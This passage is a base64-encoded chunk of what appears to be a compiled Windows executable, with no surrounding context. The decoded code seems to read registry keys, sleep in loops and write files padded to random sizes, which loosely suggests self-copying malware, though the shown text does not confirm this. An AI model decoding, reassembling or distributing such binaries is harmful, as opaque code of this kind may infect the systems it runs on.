g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ 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 